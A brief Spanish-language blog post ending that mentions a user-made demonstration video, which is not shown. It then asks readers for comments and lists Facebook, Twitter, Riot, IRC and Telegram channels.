A continuación hay un video demostrativo que ha creado uno de nuestros usuarios.



Esperamos que esta publicación haya sido de utilidad, cualquier inquietud o sugerencia dejarla en los comentarios o bien, en los medios que indicamos a continuación. 

Síguenos en Facebook, Twitter, unete a nuestra charla en Riot, únete a IRC o únete a Telegram.